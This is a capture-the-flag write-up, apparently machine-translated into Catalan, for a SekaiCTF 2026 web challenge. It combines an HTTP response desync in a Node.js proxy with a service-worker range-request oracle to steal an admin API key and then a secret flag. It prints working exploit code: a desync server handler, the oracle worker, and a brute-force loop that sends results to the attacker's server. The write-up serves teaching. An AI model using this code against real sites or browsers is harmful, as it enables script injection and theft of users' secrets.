29/06/26
HTTPDesynciXS-LeakmitjançantRangeOracle
Final | SekaiCTF 2026
Thanks for sharing!
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

I know your browser history
Ei ei! Torna de nou amb un altre desafiament web salvatge. Aquest és de SekaiCTF 2026. Parlarem sobre HTTP Desync + XS-Leak en detalls tècnics! Simplement explicat. Espero que gaudiu!
Descarrega el repte des d'aquí
Visió general del repte
Tenim una aplicació "ReadView", bàsicament un proxy de lectura. Registreu un URL, el servidor intermediari us l'obté i el publica a
/view/<name>/. Hi ha un bot d'administració amb una galeta de sessió i al fons hi ha una API de Flask que conté la bandera.L'Arquitectura
- El bot visita qualsevol URL que li donem. Té una galeta de sessió d'administració establerta a
localhost:3000. - El proxy fa servir les nostres pàgines registrades i aplica un CSP estricte: no hi ha scripts en línia, només
script-src 'self'. - L'API conté la bandera a
_INBOX. Podem cercar-lo amb una clau API vàlida. La clau de l'API es mostra a/admin. - L'API no és accessible públicament. La comprovació de la capçalera de l'amfitrió bloqueja qualsevol cosa que no sigui
localhost,apio127.0.0.1.
La ruta d'atac és:
- Feu que JS s'executi a l'origen del servidor intermediari -> llegiu
/admin-> agafeu la clau de l'API - Utilitzeu la clau API per extreure la marca del punt final de cerca
Anem etapa a etapa.
Etapa 1: fer que el proxy executi el nostre JS
Repassem primer alguns conceptes bàsics.
Com funciona HTTP Keep-Alive?
Quan el vostre navegador carrega una pàgina, no obre una connexió nova per a cada fitxer. Això seria molt lent. En canvi, HTTP/1.1 manté la connexió oberta i la reutilitza per a diverses sol·licituds. La sol·licitud 1 entra, la resposta 1 torna, després la sol·licitud 2 entra a la mateixa connexió, i així successivament
Però aquí hi ha la pregunta: com sap el navegador on acaba una resposta i comença la següent?
Resposta: la capçalera
Content-Length. Indica al navegador exactament la longitud del cos de la resposta. Un cop el navegador llegeix tants bytes, considera la resposta feta i marca la connexió com a lliure per a la següent sol·licitudServer -> Browser:
HTTP/1.1 200 OK
Content-Length: 5 <- "body is exactly 5 bytes"
Hello <- browser reads 5 bytes, stops. response done.
L'error al servidor intermediari
El servidor intermediari intenta bloquejar els scripts. Quan una sol·licitud té
Sec-Fetch-Dest: script (el navegador l'afegeix automàticament per a les etiquetes <script>), el servidor intermediari fa això:// proxy/app.js
if (req.headers['sec-fetch-dest'] === 'script') {
h['content-length'] = '0' // "body is 0 bytes" -> tell browser it's empty
delete h['transfer-encoding']
}
res.writeHead(proxyRes.statusCode, proxyRes.statusMessage, h)
proxyRes.pipe(res) // <<<< but still pipes the full body here
El servidor intermediari envia
Content-Length: 0 al navegador, però encara envia tot el cos amunt al sòcol TCPQuè fa el navegador? Es llegeix
CL: 0, considera que la resposta ha acabat (zero bytes = fet) i torna a posar el sòcol a l'agrupació de connexions per reutilitzar-lo. Els bytes addicionals continuen arribant... però el navegador ja ha avançat. Aquests bytes es troben orfes a la memòria intermèdia TCPQuan la següent sol·licitud http s'assigna a aquesta mateixa connexió, l'analitzador HTTP del navegador llegeix aquests bytes orfes i els tracta com l'inici d'una nova resposta. Si aquests bytes semblen una resposta HTTP vàlida (important, això és imprescindible!), el navegador actua sobre ells
Això s'anomena dessincronització de resposta HTTP. La visió del navegador d'on comencen i acaben les respostes està "dessincronitzada" amb el que realment va passar
Nota al marge: Per què Node.js no atura això? Perquè Node.js no aplica la longitud de contingut a les escriptures. Podeu declararCL: 0i encara escriure tants bytes com vulgueu. Simplement no li importa:// Node.js _http_outgoing.js OutgoingMessage.prototype.write = function(chunk) { this._send(chunk) // no check against declared Content-Length }
Més informació sobre els [atacs de dessincronització HTTP] de Portswigger (https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn)
Explotació
Abans d'entrar en els passos, cal esmentar una cosa: com fem útils els bytes orfes?
Hem esmentat que serà a l'inici de la següent resposta, però una resposta no és vàlida només amb bytes de cos, necessita una línia d'estat, capçaleres .. etc.
Aquests bytes orfes han de semblar una resposta HTTP completa i vàlida: línia d'estat, capçaleres i un cos JS. Elaborem tota la resposta nosaltres mateixos i l'enviem com a cos de s6.
Ara algunes coses de Chrome
Chrome obre un màxim de 6 connexions per host. Si els 6 estan ocupats, qualsevol sol·licitud nova ha d'esperar a la fila. Quan s'allibera un sòcol, se li assigna la següent sol·licitud d'espera
Aquí teniu el pla:
Carregarem 8 scripts. Mantenim les 6 connexions ocupades amb scripts de resposta lenta i, a continuació, activem la desincronització en una d'elles. Els scripts en cua (s7/s8) només necessiten un sòcol lliure, i el que obtenen passa a estar enverinat amb els nostres bytes orfes
Per dir-ho simplement:
s1 ----[stall 2s, empty]----> just occupies slot 1
s2 ----[stall 2s, empty]----> just occupies slot 2
s3 ----[stall 2s, empty]----> just occupies slot 3
s4 ----[stall 2s, empty]----> just occupies slot 4
s5 ----[stall 2s, empty]----> just occupies slot 5
s6 ----[flush headers]-------> proxy sends CL:0 to browser
browser: "response done, socket is FREE"
[500ms later]
[write full HTTP response as body bytes onto that socket]
browser: doesn't care, already moved on
bytes sit ORPHANED on the freed socket
s7 ----[waiting...]----------> no free slot yet...
s6 socket just freed!
assigned to s7
browser reads orphaned bytes as s7's response
Content-Type: application/javascript
JS EXECUTES on proxy origin
s8 ----[waiting...]----------> backup in case s7 misses
Pas 1: registreu el nostre servidor al proxy
GET /add?name=evil&url=http://OUR_VPS:9999/
Ara
/view/evil/ proxy al nostre servidor.Pas 2: envia l'URL de l'activador al bot:
No enviem
/view/evil/ directament. En lloc d'això, enviem una pàgina al nostre propi servidor que obre la pàgina proxy en una finestra emergent:<!-- Our /trigger page -->
<script>window.open('http://localhost:3000/view/evil/')</script>
<img src="/sleep"> <!-- keeps the trigger page alive for 30 seconds -->
El bot arriba a la nostra pàgina activadora, que obre una finestra emergent al proxy. Aquesta finestra emergent és la que ens porta a atacar
Pas 3: la pàgina de saturació de la piscina
Quan el servidor intermediari obté la nostra pàgina
/ amunt (per publicar-la a /view/evil/), tornem 8 etiquetes d'script:<script async src="s1.js"></script>
<script async src="s2.js"></script>
<!-- ... -->
<script async src="s8.js"></script>
Chrome obre màxim 6 connexions per host. Les 8 sol·licituds d'script passen pel servidor intermediari amb
Sec-Fetch-Dest: script. Els scripts s1-s5, s7-s8 deliberadament s'aturan durant 2 segons, mantenint les 6 connexions ocupades.Pas 4: la càrrega útil de desincronització (s6.js)
s6.js és el nostre punt final màgic. Això és el que envia:if (p === '/s6.js') {
// The outer response: we tell proxy our body will be N bytes
// content-type: not/script avoids secondary type checks
res.writeHead(200, {
'content-type': 'not/script',
'content-length': Buffer.byteLength(SMUGGLED_RESPONSE),
'expect': '100-continue'
})
// Flush the headers NOW - don't wait for the body
// -> proxy immediately re-frames these headers to the browser as CL:0
// -> browser sees CL:0, considers s6.js "done", socket goes back to pool
res.flushHeaders()
// 500ms later: write our REAL payload as the "body"
// These bytes arrive AFTER the browser has marked the socket as free
setTimeout(() => {
res.socket.write(SMUGGLED_RESPONSE) // raw write, bypasses Node's framing
res.end()
}, 500)
}
SMUGGLED_RESPONSE és una resposta HTTP completa i amb el format correcte:HTTP/1.1 200 OK
Content-Type: application/javascript
Content-Length: <size of our JS>
Connection: keep-alive
(function() {
// our malicious JS here - runs on proxy origin!
})();
Què fa
flushHeaders() + Expect: 100-continue: Obliga a enviar les capçaleres al navegador immediatament, sense esperar el cos. El servidor intermediari veu les nostres capçaleres aigües amunt, aplica la reescriptura CL:0 i envia aquestes capçaleres al navegador ara mateix. El navegador marca el sòcol com a lliure. Aleshores, 500 ms més tard, arriben els bytes del nostre cos, però la marca "sòcket is done" del navegador ja està configurada, de manera que aquests bytes arriben com a orfes.Pas 5: la col·lisió
Amb les 6 connexions lligades pels scripts lents i els bytes orfes asseguts a la piscina... una de les sol·licituds d'script en cua (s7 o s8) s'assigna a aquest sòcol exacte. L'analitzador de Chrome llegeix els bytes orfes, els analitza com a resposta HTTP adequada i, des de
Content-Type: application/javascript -> executa el codi.i simplement exfiltrem la clau API

Etapa 2: filtració de la bandera
L'Oracle
El punt final de cerca de l'API fa això:
# api/app.py
q = request.args.get("q", "")
results = [m for m in _INBOX if m.startswith(q)] # prefix match
data = json.dumps({"results": results}).encode()
return send_file(io.BytesIO(data), mimetype="application/json", conditional=True)
conditional=True activa les sol·licituds d'interval HTTPAquesta és la informació clau: la mida del cos de la resposta canvia en funció de si
q és un prefix correcte:Consulta q | Coincidir? | Cos | Mida |
|---|---|---|---|
SEKAI{ | sí | {"results":["SEKAI{...full flag...}"]} | ~43 bytes |
SEKAI{z | no | {"results":[]} | 15 bytes |
Ara si afegim una capçalera
Range: bytes=20- a la nostra sol·licitud:- Hit (~43 bytes): existeixen els bytes 20-42 -> 206 Contingut parcial
- Miss (~15 bytes): el byte 20 no existeix -> 416 Interval no satisfactori
Senyal binari net. Però... no podem llegir l'estat d'una resposta d'origen creuat. Llavors, com observem la diferència de 206 vs 416?
El canal lateral
El bot executa titellaire 22.12.0, que inclou Chrome 126 (126.0.6478.63). I tenim aquest CVE-2026-1504 i el seu Problema de Chromium 474435504
Quan un treballador del servei torna a reproduir una resposta opaca capturada206 Partial Contenta una trucadafetch(), la recuperació es rebutja. Però una resposta opaca416permet que la recuperació es resolgui
Ho has aconseguit? Necessitàvem una manera de diferenciar entre 206 i 416, i aquesta és la nostra manera d'arribar-hi
Ara deixeu-me guiar-vos pel mecanisme complet
Pas a pas: l'Oracle del treballador de serveis
La nostra pàgina d'oracle (al nostre servidor, a la finestra emergent del bot) registra un treballador de servei. Els SW poden interceptar totes les recuperacions de la seva pàgina controlada, incloses les d'origen creuat a
localhost:9090.Carreguem un element
<audio> que apunta al punt final de cerca de l'API:var a = document.createElement('audio')
a.src = 'http://localhost:9090/messages/search'
+ '?q=' + encodeURIComponent(guess)
+ '&key=' + apiKey
+ '&size=30' // tells our SW how many fake bytes to use
+ '&_=' + Math.random()
document.body.appendChild(a)
El motor d'àudio de Chrome emet automàticament dues sol·licituds d'interval de contingut d'àudio:
Range: bytes=0--> per començarRange: bytes=30--> per obtenir la resta (després de veure els primers 30 bytes)
El nostre treballador de servei intercepta tots dos:
// sw.js
var _r // saved opaque response
self.addEventListener('fetch', function(e) {
var u = new URL(e.request.url)
var sz = new URLSearchParams(u.search).get('size')
if (sz !== null) {
var n = Number(sz) // n = 30
// First range request: we FAKE a 206 with exactly 30 bytes
// This tricks Chrome into asking for the rest
if (e.request.headers.get('range') === 'bytes=0-') {
e.respondWith(new Response('A'.repeat(n), {
status: 206,
headers: {
'Content-Type': 'audio/mpeg',
'Content-Range': 'bytes 0-' + (n-1) + '/999999',
'Accept-Ranges': 'bytes'
}
}))
return
}
// Second range request: forward to the REAL API, save the response
if (e.request.headers.get('range') === 'bytes=' + n + '-') {
e.respondWith(
fetch(e.request)
.then(function(r) {
_r = r.clone() // save the opaque response!
return r
})
.catch(function() {
return new Response('', { status: 416 })
})
)
return
}
}
// Replay the saved response when asked for /mock.css
if (u.pathname.includes('mock.css') && _r) {
var t = _r; _r = undefined
e.respondWith(t.clone())
}
})
Després de disparar
audio.onerror (sempre s'error perquè li hem donat dades d'àudio falses):a.onerror = function() {
// Try to "fetch" /mock.css -> SW will serve the saved opaque response
fetch('/mock.css', { mode: 'no-cors' })
.then(function() { resolve(false) }) // 416 (miss) -> resolves -> false
.catch(function() { resolve(true) }) // 206 (hit) -> rejects -> true
}
El cabal complet:

Extracció de la bandera caràcter per caràcter
Ara tenim un oracle sí/no per a qualsevol endevinació de prefix. Recorrem un conjunt de caràcters i estenem el prefix conegut un caràcter a la vegada:
var CHARSET = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!@#$%&-'
var secret = '' // start empty (or from a known prefix if resuming)
for (var i = 0; i < 80; i++) {
var found = false
for (var j = 0; j < CHARSET.length; j++) {
if (await oracle(secret + CHARSET[j])) {
secret += CHARSET[j]
found = true
break
}
}
// Report progress to our server
new Image().src = '/cb?token=' + encodeURIComponent(secret)
if (!found) break // flag complete
}
SEKAI{proxy_said_n0_w4y_l0ng_W4y_4nD_f1n4lllyyy_Y0u_are_H3r3_here_eda1ndj}
Edita: algú ho va resoldre amb un canal lateral de cronometratge. La mida del cos de la resposta difereix en ~ 28 bytes entre un encert i un error, massa petit per mesurar-lo de manera fiable. El truc era l'amplificació: disparar 160 sol·licituds paral·leles per endevinació i mesurar el temps total de finalització. 160 * 28 bytes = 4480 bytes de dades addicionals en un hit, que crea un buit coherent i mesurable fins i tot sobre el bucle.
aquí teniu el seu comentari al servidor per obtenir crèdit: aquí (cal unir-se al servidor de Discord per veure aquest missatge)
Aquest va necessitar * molta * investigació i iteració. Gran respecte a l'autor del repte zonkor, fes una ullada al seu solucionador i al seu escrit aquí
Això va ser tot, sigueu increïble. Ens veiem a la propera!
Etiquetes:

